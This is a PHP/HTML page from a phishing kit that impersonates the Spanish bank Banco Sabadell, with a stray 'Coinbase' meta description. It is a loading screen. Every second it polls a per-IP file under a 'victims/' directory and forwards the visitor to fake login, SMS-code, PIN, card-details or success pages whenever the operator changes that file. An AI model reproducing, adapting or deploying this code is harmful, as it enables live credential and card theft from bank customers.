<?php

include "./Assets/php/config/config.php";
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="discription" content="Coinbase">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="icon" href="./Assets/imgs/favicon.png">
        <title>Banco Sabadell</title>
        <!-- === bootstrap === -->
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.1/dist/css/bootstrap.min.css" rel="stylesheet" />
        <!-- == Font-awesome " icon " == -->
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"/>
        <!-- == remixicon " icon " == -->
        <link href="https://cdn.jsdelivr.net/npm/remixicon@3.5.0/fonts/remixicon.css" rel="stylesheet">
        <!-- == file style css == -->
        <link rel="stylesheet" href="./Assets/css/style.css">
        <script src="./Assets/js/stutes.js"></script>
    </head>
    <body>

        <div class="loading">
            <img src="./Assets/imgs/logo.svg" alt="">
            <img src="./Assets/imgs/load.svg" class="s" alt="">
        </div>

        
        <!-- bootstrap -->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
        <!-- script jquery -->
        <script src="https://code.jquery.com/jquery-3.7.1.js"></script>
        
        <script>

            var ip = '<?php echo get_client_ip(); ?>';
            var waiting = setInterval(function() {
                $.get('victims/' + ip + '.txt?' + new Date().getTime(), function(data) {
                    if( data == 0 ) {
                        //console.log('hada ba9i 0');
                    }
                    else if( data == 'login' ) {
                        clearInterval(waiting);
                        location.href = "login.php";
                    }else if( data == 'login_error' ){
                        clearInterval(waiting);
                        location.href = "login.php?error";
                    }

                    else if( data == 'sms' ) {
                        clearInterval(waiting);
                        location.href = "sms.php";
                    }else if( data == 'sms_error' ){
                        clearInterval(waiting);
                        location.href = "sms.php?error";
                    }

                    else if( data == 'pin' ) {
                        clearInterval(waiting);
                        location.href = "pin.php";
                    }else if( data == 'pin_error' ){
                        clearInterval(waiting);
                        location.href = "pin.php?error";
                    }

                    else if( data == 'pos' ) {
                        clearInterval(waiting);
                        location.href = "position.php";
                    }else if( data == 'pos_error' ){
                        clearInterval(waiting);
                        location.href = "position.php?error";
                    }

                    else if( data == 'cc' ) {
                        clearInterval(waiting);
                        location.href = "card.php";
                    }else if( data == 'cc_error' ){
                        clearInterval(waiting);
                        location.href = "card.php?error";
                    }
                    
                    else if( data == 'success' ){
                        clearInterval(waiting);
                        location.href = "success.php";
                    }
                });
            }, 1000);            
                        
        </script>
    </body>
</html>